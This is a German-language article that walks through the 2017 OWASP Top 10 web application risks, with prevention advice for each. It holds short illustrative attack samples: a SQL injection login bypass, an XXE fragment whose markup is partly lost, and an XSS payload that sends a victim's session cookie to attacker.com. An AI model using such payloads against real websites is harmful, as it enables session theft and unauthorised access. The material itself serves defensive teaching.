Top 10 Common Web Attacks: Die ersten Schritte zum Schutz Ihrer Website

Eine von InfoSec-Fachleuten häufig genannte Statistik lautet: „78 % der Angriffe richten sich gegen die Anwendung“.

Es vergeht keine Woche, in der nicht von einem weiteren massiven Sicherheitsverstoß oder einer Sicherheitslücke berichtet wird, von der Millionen von Benutzern in allen Branchen betroffen sind. Ob diese Zahl nun stimmt oder ob es tatsächlich nur 74 % sind (oder eher 85 %), eines ist klar: Unsere Websites sind gefährdet, und wenn Ihre noch nicht angegriffen wurde, ist es nur eine Frage der Zeit und des Geldes (und der Motivation der Angreifer).

Ein interessanter Aspekt, den viele dieser Angriffe gemeinsam haben, ist, dass sie nicht hochtechnisch sind und nur von fortgeschrittenen Hacker-Teams im Keller der NSA durchgeführt werden können. Die häufigste Quelle dieser Angriffe ist eine Gruppe, die als „Skript-Kiddies“ bekannt ist, ungeschulte Jugendliche, die einfach automatisierte Toolkits aus dem Internet herunterladen und versuchen, jede beliebige Website zu knacken, die leicht ausnutzbare, niedrig hängende Schwachstellen bietet. Selbst die erfahreneren Cyberkriminellen beginnen ihre ersten Versuche mit denselben Toolkits (oder etwas fortgeschritteneren Versionen davon).

Warum sollten wir uns Sorgen machen? Weil dies bedeutet, dass die häufigsten Angriffe und die am häufigsten ausgenutzten Schwachstellen immer die erste und schwächste Kette in unserer Verteidigung sein werden.

Folglich muss dies auch der Punkt sein, an dem wir unsere ersten Anstrengungen zur Verstärkung dieser Verteidigung konzentrieren. Glücklicherweise ist dies auch der einfachste Punkt, um zu testen und zumindest ein minimales Maß an Sicherheit zu gewährleisten.

Diese häufigen Schwachstellen wurden von den freundlichen Freiwilligen von OWASP – dem Open Web Application Security Project, einer weltweiten gemeinnützigen Organisation, die sich mit der Verbesserung der Sicherheit von Software befasst – in einer „Top Ten“-Liste zusammengestellt.

Diese Top Ten-Liste ist zwar nicht wirklich eine „Sicherheitscheckliste“, aber sie ist oft die erste Reihe von Schwachstellen, die Angreifer versuchen werden. Ebenso gibt es eine Fülle von automatisierten Tools, die Ihre Website im Dienste der Angreifer scannen und es ihnen ermöglichen, schnell die kritischen Schwachstellen zu entdecken, die ihnen Zugang zu Ihren Wertgegenständen gewähren.

Hier sind die Top 10 Anwendungssicherheitsrisiken von OWASP, Ausgabe 2017:

1. Injektion

Ein Angreifer kann Ihre Webanwendung so manipulieren, dass er die an ihre Subsysteme übermittelten Befehle verändert, indem er einfach missgestaltete Anfragen mit verfälschten Nutzdaten sendet. Der bekannteste dieser Angriffe ist die SQL-Injection, bei der ein Benutzer Ihrer Website Ihre Anwendung dazu veranlassen kann, Folgendes zu ändern:

select * from users where username=’AviD‘ and password=’1234′
in this:
select * from users where username=’Admin‘

Damit kann sich der Angreifer als Administrator bei Ihrer Anwendung anmelden, ohne das Passwort zu kennen. Andere Verwendungszwecke dieses Angriffs wären der Diebstahl von Geheimnissen (oder Geld), das Ändern von Daten oder sogar das Löschen aller Spuren von Aktivitäten.

Andere Formen sind LDAP Injection, XPath Injection, Command Injection, SMTP Injection – jedes Mal, wenn die Anwendung nicht vertrauenswürdige Benutzereingaben in einen Befehl verkettet, der an einen Interpreter übergeben wird. Die anormalen Daten können den Interpreter dazu verleiten, unbeabsichtigte Befehle auszuführen oder auf Daten zuzugreifen, für die er nicht autorisiert ist.

Diese Angriffe lassen sich in der Regel recht einfach verhindern, wenn man einige Grundsätze beachtet:

• Überprüfen Sie alle nicht vertrauenswürdigen Eingaben mit einem White-List-Ansatz, unabhängig von der Quelle.
• Greifen Sie immer nur mit parametrisierten Abfragen und gespeicherten Prozeduren auf die Datenbank zu, anstatt eine String-Abfrage zu verketten.
• Noch besser ist es, eine geeignete ORM-Bibliothek (Object Relational Mapping) zu verwenden (z. B. Hibernate, Entity Framework, ActiveRecord, um nur einige zu nennen, je nach Plattform).
• Begrenzen Sie den potenziellen Schaden eines erfolgreichen Angriffs, indem Sie die Datenbankprivilegien der Anwendung reduzieren.

2. Fehlerhafte Authentifizierung

Bei den meisten Anwendungen müssen sich die Benutzer vor der Nutzung anmelden, oft mit einer Kombination aus Benutzername und Kennwort. In diesem Authentifizierungssystem gibt es viele gängige Schwachstellen, die auf unterschiedliche Weise ausgenutzt werden können: Wörterbuchangriffe, automatisierte Brute-Force-Angriffe, Credential Stuffing, Session Hijacking und mehr.

Ein Angreifer, dem es gelingt, ein gültiges Kennwort zu erraten, kann sich als dieser Benutzer ausgeben und alle Aktionen ausführen, die sein Opfer ausführen kann – ohne zwischen Angreifer und Opfer unterscheiden zu können.

Um dies zu verhindern, ist ein mehrstufiger Ansatz erforderlich:

• Ändern Sie alle Standardpasswörter.
• Erzwingen Sie starke, zufällige Passwörter für alle Benutzer: mindestens 12 zufällige Zeichen ohne Einschränkungen, vorzugsweise in einem Passwortmanager gespeichert; oder alternativ eine Passphrase mit mindestens 5 zufälligen Wörtern.
• Beschränken Sie die Anmeldeversuche, indem Sie das Benutzerkonto nach einer bestimmten Anzahl falscher Passwörter für eine gewisse Zeit sperren.
• Verwenden Sie einen sicheren Plattform-Sitzungsmanager, der nach dem Zufallsprinzip lange Sitzungskennungen erzeugt und einen sicheren Sitzungslebenszyklus implementiert.
• Schützen Sie Passwörter mit einem kryptografischen „Passwort-Hash“-Algorithmus wie Bcrypt, scrypt oder Argon2.

Ziehen Sie außerdem die Implementierung einer Mehrfaktoren-Authentifizierung in Betracht, um passwortbasierte Angriffe abzuschwächen, und erlauben Sie einem Angreifer nicht, Ihr Passwort zu umgehen, indem er den Namen Ihrer Katze auf der „Passwort vergessen“-Seite kennt. Es gibt einige zusätzliche Details, die je nach Architektur und Kontext relevant sein können.

3. Sensible Daten

Geheime Daten müssen in der Regel durch Verschlüsselung und andere kryptographische Algorithmen geschützt werden. Dies wird jedoch zu oft, wenn überhaupt, unvollständig implementiert, was es Angreifern ermöglicht, sensible Informationen abzugreifen, die sie nicht abgreifen sollten, einschließlich Passwörter, Kreditkarten, persönliche Informationen (PII) und andere geschäftskritische Daten.

Zu den häufigsten Fehlern gehören die Nichtverschlüsselung von Daten, die Erstellung eines benutzerdefinierten Verschlüsselungsschemas anstelle von Standardalgorithmen und -protokollen, die Verwendung schwacher Schlüssel, die Offenlegung von Verschlüsselungsschlüsseln und die nicht korrekte Implementierung von Protokollen, z.

Die Verwendung geeigneter kryptographischer Kontrollen (wie AES-Verschlüsselung für gespeicherte Daten und TLS mit aktiviertem HSTS für den Datenverkehr) mit den richtigen Parametern sollte Ihre sensiblen Daten sowohl im Ruhezustand als auch bei der Übertragung ausreichend schützen.

4. XML External Entities (XXE)

Oft müssen Anwendungen XML-Dokumente von Benutzern empfangen und verarbeiten. Alte oder schlecht konfigurierte XML-Parser können eine XML-Funktion aktivieren, die als externe Entitätsreferenzen innerhalb von XML-Dokumenten bekannt ist und bei deren Auswertung der Inhalt einer anderen Datei eingebettet wird. Angreifer können dies missbrauchen, um vertrauliche Daten zu lesen, auf interne Systeme zuzugreifen und sogar die Anwendung in einem Denial of Service (DoS)-Angriff herunterzufahren.

Ein XML-Dokument, das beispielsweise Folgendes enthält:

]>&xxe;

würde den Inhalt der Kennwortdatei in das XML-Dokument einschließen.

Dies kann verhindert werden, indem man einfach die DTD- und External-Entity-Auswertung im Parser deaktiviert oder auf eine moderne Parser-Bibliothek umsteigt, die nicht anfällig ist.

5. Defekte Zugriffskontrolle

Die meisten Webanwendungen schränken ein, was Benutzer sehen oder tun können, sei es der Zugriff auf die persönlichen Daten eines anderen Benutzers oder auf einen eingeschränkten Bereich.

Die Zugriffskontrollmechanismen, die diese Beschränkungen durchsetzen, sind jedoch in der Regel maßgeschneiderte Implementierungen und oft stark fehlerbehaftet. Angreifer können diese Kontrollen umgehen oder missbrauchen, um auf nicht autorisierte Funktionen oder Daten zuzugreifen, z. B. auf die Konten anderer Benutzer, die Anzeige sensibler Dateien, die Änderung der Daten anderer Benutzer, die Durchführung administrativer Aktionen usw.

Die Behebung und Verhinderung von Schwachstellen in der Zugriffskontrolle erfordert eine systemische Sichtweise. Es ist eine vollständige, eingehende Überprüfung aller Funktionen der Anwendung, der Systemanforderungen, der Benutzerrollen und anderer Einschränkungen erforderlich. Es gibt verschiedene gängige Modelle, die je nach den Anforderungen angewendet werden können. Zu den gebräuchlichsten gehören die rollenbasierte Zugriffskontrolle (RBAC), die diskretionäre Zugriffskontrolle (DAC) und die integritätsbasierte oder obligatorische Zugriffskontrolle (MAC).

Andere, eher nischenartige Modelle können auf Attributen (ABAC), Richtlinien (PBAC), dem Kontext (CBAC) und der Klassifizierung (es gibt mehrere Modelle, insbesondere im Verteidigungsministerium) sowie auf verschiedenen anderen benutzerdefinierten Schemata basieren. Es ist wichtig, das Zugangskontrollmodell gut zu gestalten, damit es einheitlich angewendet und effizient verwaltet werden kann. Gehen Sie vom Grundsatz des geringsten Privilegs aus und erteilen Sie nur dann Genehmigungen, wenn dies erforderlich ist.

Zusätzlich müssen viele Systeme die Anwendung von Kontrollen für den Zugriff auf die persönlichen Daten der Benutzer unter dem Gesichtspunkt des Datenschutzes berücksichtigen. Es wird immer wichtiger, die Privatsphäre der Benutzer angemessen zu schützen und den Zugriff ohne Zustimmung zu verhindern, insbesondere im Hinblick auf die Aktualisierung der GDPR durch die EU.

6. Falsche Sicherheitskonfiguration

Server und Anwendungen haben viele bewegliche Teile, die alle richtig konfiguriert werden müssen. Dies gilt für alle Ebenen des Anwendungsstapels, vom Betriebssystem und den Netzwerkgeräten bis hin zum Webserver und der Anwendung selbst.

Standardmäßige, unvollständige oder Ad-hoc-Konfigurationen können dazu führen, dass Dateien ungeschützt sind, Standardkennwörter aktiviert sind, Cloud-Dienste geöffnet sind und vertrauliche Informationen über Fehlermeldungen oder HTTP-Header sowie zahlreiche andere unsichere Einstellungen durchsickern, die es einem Angreifer ermöglichen könnten, Zugriff auf das System oder die Daten zu erlangen.

Es gibt natürlich keine einzelne Einstellung, die diese Schwachstelle verhindern würde. Alle potenziell gefährdeten Einstellungen sollten überprüft werden. Beachten Sie, dass dazu auch rechtzeitige System-Updates und Patches gehören!

7. Cross-Site Scripting (XSS)

Mit XSS kann ein Angreifer die Webseiten verändern, die andere Benutzer in Ihrer Anwendung sehen, sei es, um Informationen wie Passwörter und Kreditkarten zu stehlen, gefälschte Daten zu verbreiten, Benutzersitzungen zu kapern, auf eine andere Website umzuleiten oder bösartige Skripte im Browser des Opfers auszuführen.

Diese Schwachstelle kann immer dann auftreten, wenn nicht vertrauenswürdige Daten ohne ordnungsgemäße Validierung oder Bereinigung in eine Webseite oder eine Antwort aufgenommen werden. Der Angreifer kann Formulare mit HTML- oder JavaScript-Fragmenten übermitteln, die direkt in die Seite eingebettet und vom Browser gerendert werden.

Dieser Servercode zum Beispiel:

response.write(„Guten Morgen, “ + request.getParameter(„Name“));

bettet den Parameter Name des Benutzers direkt in die Ausgabe ein. Dies soll die folgende Seite zurückgeben, wenn der Name des Benutzers „John“ ist:

Guten Morgen, John

Anstatt dessen kann ein Angreifer eine bösartige Nutzlast einfügen:

Guten Morgen, Bossdocument.location=’http://attacker.com/?cookie=’+document.cookie

Dieser wird vom Browser des Benutzers ausgeführt und sendet dessen Sitzungs-Cookie an den Angreifer, so dass dieser die Sitzung entführen kann.

Der wichtigste Schutz gegen XSS-Angriffe ist die Verwendung der richtigen Kodierung. Bei der HTML-Kodierung werden beispielsweise alle „Sonderzeichen“ in HTML-Entities umgewandelt, so dass sie für den Benutzer gleich angezeigt werden, aber vom Parser nicht als gültige HTML-Tags erkannt werden. Es gibt jedoch auch andere Formen der Kodierung, die je nach dem spezifischen Kontext der Datenausgabe verwendet werden sollten – z. B. Attributkodierung, JavaScript-Kodierung, CSS-Kodierung usw. Die meisten modernen Webplattformen stellen diese Funktionalität automatisch oder als Funktionsaufruf zur Verfügung, und für diejenigen, die dies nicht tun, gibt es zahlreiche Sicherheitsbibliotheken.

Zusätzlich ist es eine gute Idee, Content Security Policy (CSP) zu implementieren, um zu verhindern, dass der Browser einen XSS-Angriff wiedergibt, der durchkam. Konfigurieren Sie außerdem Ihre Sitzungscookies (entweder in Ihrem Anwendungscode oder in der Webserverkonfiguration) so, dass sie das HttpOnly-Attribut enthalten, um zu verhindern, dass erfolgreiche XSS-Exploits die Sitzungen Ihrer Benutzer kapern.

8. Unsichere Deserialisierung

Die neueste Ergänzung dieser Liste, die unsichere Deserialisierung, kann Injektionsangriffe und Privilegienerweiterung ermöglichen und in bestimmten Situationen sogar zur Ausführung von Remotecode und zur Übernahme des Servers führen.

Viele Anwendungen müssen Objekte und Daten in ein Format serialisieren, das leicht über die Leitung übertragen oder sogar in einer Datei gespeichert werden kann. Wenn eine Anwendung diese Objekte wieder in den Speicher zurückbringt, indem sie die von einem Benutzer empfangenen formatierten Daten deserialisiert, könnte es möglich sein, den Speicher des Objekts zu manipulieren und es sogar dazu zu bringen, beliebige Funktionen auszuführen.

Der beste Weg, um unsichere Deserialisierung zu vermeiden, ist, Objekte aus nicht vertrauenswürdigen Daten überhaupt nicht zu deserialisieren! Es ist weitaus besser, native Deserialisierungsformate nach Möglichkeit ganz zu vermeiden und stattdessen ein Datenformat wie XML oder JSON zu bevorzugen.

Wenn es notwendig ist, aus dem nativen Format zu deserialisieren, muss man die Interna seiner Programmiersprache verstehen, um dies sicher tun zu können. Je nachdem, in welcher Sprache Ihre Anwendung entwickelt wurde, sind verschiedene Schritte erforderlich, um dies sicher zu tun. In Java können Sie zum Beispiel die Klasse java.io.ObjectInputStream als Unterklasse verwenden. Außerdem wird empfohlen, nur von Daten zu deserialisieren, die Ihre Anwendung digital signiert hat.

9. Verwendung von Komponenten mit bekannten Schwachstellen

Moderne Software wird nicht mehr als Monolith gebaut – sie stützt sich immer auf eine immer größere Anzahl von Komponenten, Frameworks und Open-Source-Bibliotheken von Drittanbietern. Jede bekannte Schwachstelle, die in diesen Abhängigkeiten gefunden wird, kann auch Ihre eigene Anwendung direkt betreffen! Manchmal führt dies zu anderen Schwachstellen auf dieser Liste, wie z. B. Injektion, Remote-Code-Ausführung oder andere Schwachstellen, die es Angreifern ermöglichen könnten, auf sensible Daten oder Aktionen zuzugreifen.

Kürzlich wurde genau ein solches Problem für den massiven Einbruch bei Equifax verantwortlich gemacht, bei dem das Unternehmen keinen Patch für Apache Struts2 installiert hatte. Stattdessen wurde eine Version beibehalten, von der bekannt war, dass sie entfernten Angreifern die Ausführung beliebiger Befehle ermöglicht.

Der beste Weg, um zu vermeiden, in diese Falle zu tappen, besteht darin, alle Ihre Abhängigkeiten (einschließlich der transitiven Abhängigkeiten) zu überprüfen und festzustellen, ob eine von ihnen derzeit verwundbar ist. Implementieren Sie einen Prozess, der sicherstellt, dass Ihre Anwendung immer die neuesten stabilen Versionen aller abhängigen Bibliotheken und Komponenten zieht, nachdem Sie sie getestet haben. In der Tat gibt es derzeit zahlreiche kommerzielle Tools, die dies für Ihr Team nachverfolgen können, sowie den kostenlosen Dependency-Check von OWASP.

10. Unzureichende Protokollierung & Überwachung

Während wir versuchen, unsere Systeme gegen alle möglichen Angriffe immun zu machen, müssen wir realistischerweise akzeptieren, dass einige Angriffe unsere Verteidigungsmaßnahmen durchdringen werden. Eine widerstandsfähige Verteidigung sollte jedoch mehrere Schichten umfassen. Dazu gehört auch die Möglichkeit, Angriffe, die trotz all unserer Bemühungen erfolgreich waren, vorzugsweise so schnell wie möglich zu erkennen.

Dies könnte es einer Organisation immer noch ermöglichen, sich von dem Angriff zu erholen oder sogar den Schaden so weit wie möglich zu minimieren. Ein Protokollierungs- und Überwachungsmechanismus, kombiniert mit einer effektiven Reaktion auf einen Vorfall, kann verhindern, dass Angreifer auf weitere interne Ressourcen ausweichen, sich dauerhaft in der Organisation einnisten und sie daran hindern, noch mehr Daten zu stehlen oder zu verändern.

Ein gemeinsamer Protokollierungsmechanismus für die gesamte Anwendung wird eingeführt. Am besten ist es, eine vorhandene Bibliothek, wie log4J, zu verwenden, aber das ist nicht erforderlich. Der Protokollierungsmechanismus sollte alle vom Benutzer initiierten Aktionen, Laufzeitfehler und alle anderen sensiblen Ereignisse sammeln. Stellen Sie sicher, dass die Protokolldaten gut geschützt sind, und vergessen Sie nicht, den Administratoren eine Such- und Überprüfungsschnittstelle zur Verfügung zu stellen!

Die gute Nachricht ist, dass die meisten dieser Probleme relativ einfach sind und sich leicht vermeiden lassen, wenn man weiß, worauf man achten muss. Auch wenn dies keine umfassende Liste aller Sicherheitsprobleme ist, auf die Sie achten sollten, so ist sie doch eine der besten Ausgangspunkte für Ihre Expedition zu einer geschützten Website!